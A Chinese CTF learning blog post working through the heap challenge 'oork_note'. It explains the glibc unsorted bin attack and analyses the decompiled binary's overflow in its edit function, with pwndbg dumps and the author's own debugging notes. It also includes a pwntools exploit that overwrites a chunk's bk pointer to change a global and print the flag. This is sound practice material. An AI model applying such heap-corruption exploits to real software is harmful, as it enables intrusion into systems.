堆题其实是目前比较基础的题,栈题都比较少了貌似…自己的进度有点慢,虽然上学期接触到了堆,但也学的一知半解.
最近上了NeSE创始人、带队老师龚老师的课,老师第一节课给的测试题就是一道堆题,看了看他后面的课件,重点也在堆上,所以觉得可以先把栈什么的稍微放一放了,基础其实差不多了,提升的话,可以慢慢来,先赶紧继续学堆.
题目链接: 本篇博客地址url + oork_note即可
unsorted bin基础知识 参考:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/
Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。
Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。
基本来源
当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。
攻击原理 在 [glibc](https://code.woboq.org/userspace/glibc/)/[malloc](https://code.woboq.org/userspace/glibc/malloc/)/[malloc.c](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html) 中的 `_int_malloc` 有这么一段代码,当将一个 unsorted bin 取出的时候,会将 `bck->fd` 的位置写入本 Unsorted Bin 的位置,就是一个很大的值,比如0xffffffffxxxx
换句话说, bck->fd 也就是 bk(也就是要修改的地址,所以溢出修改的chunk的bk应该是要修改的地址-0x10), victim->bk->fd = victim
av是当前chunk, (av)->bk = bck,就是当前chunk的bk, 晕了晕了,回头看看源码 victim, av什么的
1 2 3 4 5 if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3" ); unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
测试题目 oork_note 一看就是一道堆题,给出了一个菜单.然后会让你输入7次,也就是一周的日记,要输入长度和内容,这里没有问题,注意一个细节,就是你输入的长度会有个操作 v2 += 144; 也就是增大了0x90,这个后面会用到
然后就是编辑和删除操作了,
拿flag其实很明显,就是要把0x6020D4的值修改为一个比167大的值就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { int v4; int v5; sub_4008F6(); puts ("Welcome to 997 wellfare! This program records your weekly workloads." ); v4 = 0 ; v5 = 0 ; while ( v4 <= 6 ) { printf ("Day %d in this weekend.\n" , (unsigned int )(v4 + 1 )); v5 += sub_400939(v4++); } puts ("Do you need to edit your note? y/n" ); getchar(); if ( getchar() == 121 ) sub_400B62(); if ( dword_6020D4 > 167 ) system("cat ./flag" ); else puts ("You are fired, Bye." ); return 0LL ; } __int64 __fastcall sub_400939 (int a1) { int v2; void *buf; unsigned __int64 v4; v4 = __readfsqword(0x28 u); printf ("\tInput the length of your work note:" ); __isoc99_scanf("%d" , &v2); v2 += 144 ; buf = malloc (v2); printf ("\tInput context of your work record:" ); read(0 , buf, v2); *(&ptr + a1) = buf; return (unsigned int )((v2 & (rand() + 255 )) % 23 ); }
下面看一下编辑和删除,删除的话,把指针也赋0了,所以没有double free的问题,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 unsigned __int64 sub_400B62 () { int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); v1 = 0 ; do { while ( 1 ) { while ( 1 ) { puts ("Input your choice: \n\t1.edit note\n\t2.delete note\n\t0.exit" ); __isoc99_scanf("%d" , &v1); if ( v1 != 1 ) break ; sub_400A14(); } if ( v1 != 2 ) break ; sub_400AEE(); } } while ( v1 ); return __readfsqword(0x28 u) ^ v2; } unsigned __int64 sub_400A14 () { int v0; unsigned int v2; unsigned __int64 v3; v3 = __readfsqword(0x28 u); puts ("input the note index to edit:" ); __isoc99_scanf("%d" , &v2); if ( v2 <= 6 ) { puts ("Input the content:" ); if ( *(&ptr + (int )v2) ) { read(0 , *(&ptr + (int )v2), 0x4F0 uLL); } else { v0 = v2; *(&ptr + v0) = malloc (0x3A0 uLL); read(0 , *(&ptr + (int )v2), 0x3A0 uLL); } } return __readfsqword(0x28 u) ^ v3; } unsigned __int64 sub_400AEE () { int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("input the note index to delete:" ); __isoc99_scanf("%d" , &v1); free (*(&ptr + v1)); *(&ptr + v1) = 0LL ; return __readfsqword(0x28 u) ^ v2; }
但是这里有个很明显的问题,就是在编辑操作这里,如果编辑地址存在,可以读入0x4f0大小,如果我们申请的chunk大小比这个小,那么就存在了溢 出,如果编辑的地址不存在,会重新进行malloc地址,大小为0x3A0
也就是说,如果我们一开始申请一个小的chunk,它后面接一个0x3A0大小的chunk,然后把0x3A0大小的chunk free掉,然后通过溢出,把这个free掉之后的chunk的值修改成我们想要的(把bk改成想修改的地址 ),然后再重新编辑一下,重新malloc的时候就会又申请到这个free 的chunk(也就是unsorted bin),然后就会触发漏洞
1 2 3 4 5 6 7 8 9 10 if ( *(&ptr + (int )v2) ) { read(0 , *(&ptr + (int )v2), 0x4F0 uLL); } else { v0 = v2; *(&ptr + v0) = malloc (0x3A0 uLL); read(0 , *(&ptr + (int )v2), 0x3A0 uLL); }
构造攻击链 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。
什么是不属于fast bin的呢??
那我们就第一个值随意,第二个值构造小一点,比如0x20,第三个值构造成0x3A0,然后后面随意,然后删除第三个值,修改第二个值,覆盖掉它,然后再edit第三个值,进行重新申请,触发漏洞获取flag.
这里注意之前所说的,我们给的大小,它实际上会+0x90,所以要申请一个0x3A0 - 0x90 = 0x310 也就是784大小的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x603000 Size: 0xb1 Allocated chunk | PREV_INUSE Addr: 0x6030b0 Size: 0xc1 Allocated chunk | PREV_INUSE Addr: 0x603170 Size: 0x3b1 Allocated chunk | PREV_INUSE Addr: 0x603520 Size: 0xb1
0xc1 193 144 + 32 = 176 多了17, 这个多的16字节是prev_size + size + NMP, 那为什么还多了一字节 因为对齐,在64位平台下,chunk大小一定是0x10的整数倍,那为什么都多了1呢?这里其实不是多了1,是显示的问题,size的话,是前5字节,也就是11000也就是16 + 4 = 20, 然后最后的1是指的P为1,也就是前一个chunk被使用的意思,0是未被使用
1 2 pwndbg> x/bt 0x6030b8 0x6030b8: 11000001
0xb1 177 144 + 12 = 156 多了21,
0x3b1 945 144 + 784 = 928 多了17
payload的构造的话,就是填满第2个chunk,然后溢出,填满prev_size,然后修改size为正确值,然后加上bk(要修改的地址)就可以了
payload = (0x90 + 0x20) * b”a” + p64(0) + p64(0x3a0+0x1) + p64(0x6020D4)
p64是个啥,8byte, 8字节,64位, 指令一行又是多少..有点晕
p64就是64位机器的编码,把0编码成0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00,占64位,也就是8个字节
这个64位,32位指的是一次处理数据的宽度,和指令长度以及他们的地址没关系
指令的话,占多少字节都是可能的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ───────────────────────────────────[ STACK ]──────────────────────────────────── 00:0000│ r13 rsp 0x7fffffffe560 ◂— 0x1 01:0008│ 0x7fffffffe568 —▸ 0x7fffffffe7b7 ◂— '/home/ubuntu/2yue/ezfmt' 02:0010│ 0x7fffffffe570 ◂— 0x0 03:0018│ 0x7fffffffe578 —▸ 0x7fffffffe7cf ◂— 0x524f4c4f435f534c ('LS_COLOR') ─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 0x4006e0 ──────────────────────────────────────────────────────────────────────────────── pwndbg> x/8bx 0x7fffffffe560 0x7fffffffe560: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 pwndbg> x/8bx 0x7fffffffe568 0x7fffffffe568: 0xb7 0xe7 0xff 0xff 0xff 0x7f 0x00 0x00 .text:0000000000400BE3 .text:0000000000400BE3 push rbp .text:0000000000400BE4 mov rbp, rsp .text:0000000000400BE7 sub rsp, 10h .text:0000000000400BEB mov eax, 0 .text:0000000000400BF0 call sub_4008F6 .text:0000000000400BF5 mov edi, offset aWelcomeTo997We ; "Welcome to 997 wellfare! This program r"... .text:0000000000400BFA call _puts .text:0000000000400BFF mov [rbp+var_8], 0 .text:0000000000400C06 mov [rbp+var_4], 0 .text:0000000000400C0D jmp short loc_400C37 .text:0000000000400C0F ; --------------------------------------------------------------------------- .text:0000000000400C0F
所以 x/20wx 0xxxxxxxxxxxx 显示的一行其实是16字节, 128位, 所以左边的地址加了16,
1 2 3 4 5 pwndbg> x/20wx 0x6030b0 0x6030b0: 0x00000000 0x00000000 0x000000b1 0x00000000 0x6030c0: 0x000a3231 0x00000000 0x00000000 0x00000000 0x6030d0: 0x00000000 0x00000000 0x00000000 0x00000000 0x6030e0: 0x00000000 0x00000000 0x00000000 0x00000000
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import * context.log_level= "debug" def add(length,context): io.sendlineafter("note:" ,length) io.sendlineafter("record:" ,context) def delete(num): io.sendlineafter("exit" ,"2" ) io.sendlineafter("delete:" ,num) def edit(num,context): io.sendlineafter("exit" ,"1" ) io.sendlineafter("edit:" ,num) io.sendlineafter("content:" ,context) io = process("./oork_note" ) context.terminal = ['tmux' , 'splitw' , '-h' ] gdb.attach(io,"b *0x7ffff7af2031" ) add("32" ,b"12" ) add("32" ,b"aaaa" ) add("784" ,b"aaaaa" ) add("32" ,b"12" ) add("32" ,b"12" ) add("32" ,b"12" ) add("32" ,b"12" ) io.sendlineafter("note? y/n" ,"y" ) delete("2" ) #payload = (0x90 + 0x20) * b"a" + p64(0) + p64(0x3a0+0x1) + p64(0x6020D4) #payload = (0x90 + 0x20) * b"a" + p64(0) + p64(0x3a0+0x1 + 0x10) +p64(0)+ p64(0x6020D4 - 0x10) addr = 0x06020D4 - 0x10 payload = b"a" *176 + p64(0 ) + p64(0x3a1 + 0x10 ) + p64(0 ) + p64(addr) edit("1" ,payload) edit("2" ,b"aaaa" ) pause() print(io.recv(1024 )) #io.sendline("0" ) #print(io.recv(1024))
你得理清楚哪里需要用b哪里不需要
和libc版本有关吗? 感觉应该没问题了的,但是打不了
1 2 3 4 5 6 7 8 9 10 11 12 13 0x6033d0 : 0x00000000 0x00000000 0x000003b1 0x000 \n' │00000 [*] Paused│0x6033e0 : 0x61616161 0x0000000a 0x00000000 0x000 (press an│00000 y to conti│0x6033f0 : 0x0000000a 0x00000000 0x00000000 0x000 nue) │00000 0x400bb8 call 0x400a14 <0x400a14 > input the note index to edit sh.sendline("1" ) │ [DEBUG] Sent 0x2 bytes: │ ► 0x400bbd jmp 0x400bca <0x400bca >
看了一下申请的chunk大小不正常,怀疑是发送过去的数据有问题,恩,sendline有问题
mov rax, qword ptr fs:[0x28] 这个是canary吧
https://blog.csdn.net/counsellor/article/details/81005101
addr = 0x06020D4 - 0x10 为啥要-0x10呢?? 因为是要得到chunk的头吧,不是数据头
怎么负数了… addr = 0x06020D4 - 0x12 多减点值,让它覆盖的时候能覆盖上就可以了